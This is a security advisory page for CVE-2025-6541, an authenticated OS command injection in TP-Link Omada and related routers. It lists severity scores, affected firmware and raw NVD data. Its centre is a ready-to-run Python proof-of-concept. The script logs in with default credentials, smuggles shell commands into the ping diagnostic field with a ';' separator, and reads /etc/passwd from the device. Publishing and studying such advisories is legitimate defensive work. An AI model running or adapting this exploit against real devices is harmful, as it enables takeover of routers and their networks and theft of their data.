Security Vulnerability Report
中文
CVE-2025-6541 CVSS 8.8 HIGH

CVE-2025-6541

Published: 2025-10-21 01:15:36
Last Modified: 2025-10-24 13:45:38
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

An arbitrary OS command may be executed on the product by the user who can log in to the web management interface.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:er706w_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:er706w_firmware:1.2.1:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:er706w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:er706w-4g_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:er706w-4g_firmware:1.2.1:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:er706w-4g:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:er7212pc_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:er7212pc_firmware:2.1.3:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:er7212pc:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:g36_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:g36_firmware:1.1.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:g36:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:g611_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:g611_firmware:1.2.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:g611:-:*:*:*:*:*:*:* - NOT VULNERABLE
TP-Link Omada系列路由器(具体型号及固件版本请参考官方安全公告)
TP-Link Omada Pro路由器(具体型号及固件版本请参考官方安全公告)
TP-Link SOHO Festa Gateway网关设备(具体型号及固件版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-6541 - TP-Link Omada Router OS Command Injection PoC # Author: Security Researcher # Description: Exploits command injection in the web management interface # of TP-Link Omada routers via the network diagnostic tool. import requests import sys import re from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.0.1" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "admin" SESSION = requests.Session() SESSION.verify = False SESSION.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", }) def login(): """Authenticate to the Omada web management interface.""" login_url = f"{TARGET_URL}/cgi-bin/luci" data = {"username": USERNAME, "password": PASSWORD} resp = SESSION.post(login_url, data=data, timeout=10) if " stok=" in resp.text or resp.status_code == 200: print("[+] Login successful") return True print("[-] Login failed") return False def inject_command(cmd): """ Inject an OS command through the vulnerable network diagnostic endpoint (e.g. ping utility). The unsanitized input is concatenated directly into a shell command on the device. """ # Common injection vector: append a shell command separator (;) payload = f"127.0.0.1;{cmd}" target_endpoint = f"{TARGET_URL}/cgi-bin/luci/admin/network/diagnostics" data = {"ping_addr": payload, "action": "ping"} resp = SESSION.post(target_endpoint, data=data, timeout=15) return resp.text def main(): print(f"[*] Targeting: {TARGET_URL}") if not login(): sys.exit(1) # Demonstration: read /etc/passwd from the device print("[*] Executing 'cat /etc/passwd' on target...") result = inject_command("cat /etc/passwd") print("[+] Command output:") print(result) # Demonstration: list device firmware information print("\n[*] Executing 'uname -a' on target...") result = inject_command("uname -a") print("[+] Command output:") print(result) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6541", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2025-10-21T01:15:36.103", "lastModified": "2025-10-24T13:45:38.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary OS command may be executed on the product by the user who can log in to the web management interface."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er706w_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "47273FE0-6E22-437E-B27F-058456E7602A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er706w_firmware:1.2.1:-:*:*:*:*:*:*", "matchCriteriaId": "AC30DFD7-30FD-482C-B8EF-9DDB98E269BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:er706w:-:*:*:*:*:*:*:*", "matchCriteriaId": "7D599C4B-4A58-45EC-BA17-332FBF6E9805"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er706w-4g_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "E1BC6D9F-A556-468A-8770-6A39F09F26D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er706w-4g_firmware:1.2.1:-:*:*:*:*:*:*", "matchCriteriaId": "96944BD2-388F-4CF6-BFD3-473EE6624F74"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:er706w-4g:-:*:*:*:*:*:*:*", "matchCriteriaId": "559FA8D2-3055-41CB-81A4-A7996D93588D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er7212pc_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.1.3", "matchCriteriaId": "6CE877B8-E287-4FE6-84D5-666FE27AC9A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:er7212pc_firmware:2.1.3:-:*:*:*:*:*:*", "matchCriteriaId": "24860FF1-7CA9-47D4-90B6-CB8915F1D992"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:er7212pc:-:*:*:*:*:*:*:*", "matchCriteriaId": "F300A161-E1A3-469E-9DE3-9B052F6BA8AC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:g36_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.4", "matchCriteriaId": "EB884461-7A80-44B0-A200-25D7E0EB5152"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:g36_firmware:1.1.4:-:*:*:*:*:*:*", "matchCriteriaId": "BDA7D066-8443-4D6F-8E22-A0845236B490"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:g36:-:*:*:*:*:*:*:*", "matchCriteriaId": "153073B7-9FBD-47D0-A1AB-CEE323AE5512"}]}]}, {"operator ... (truncated)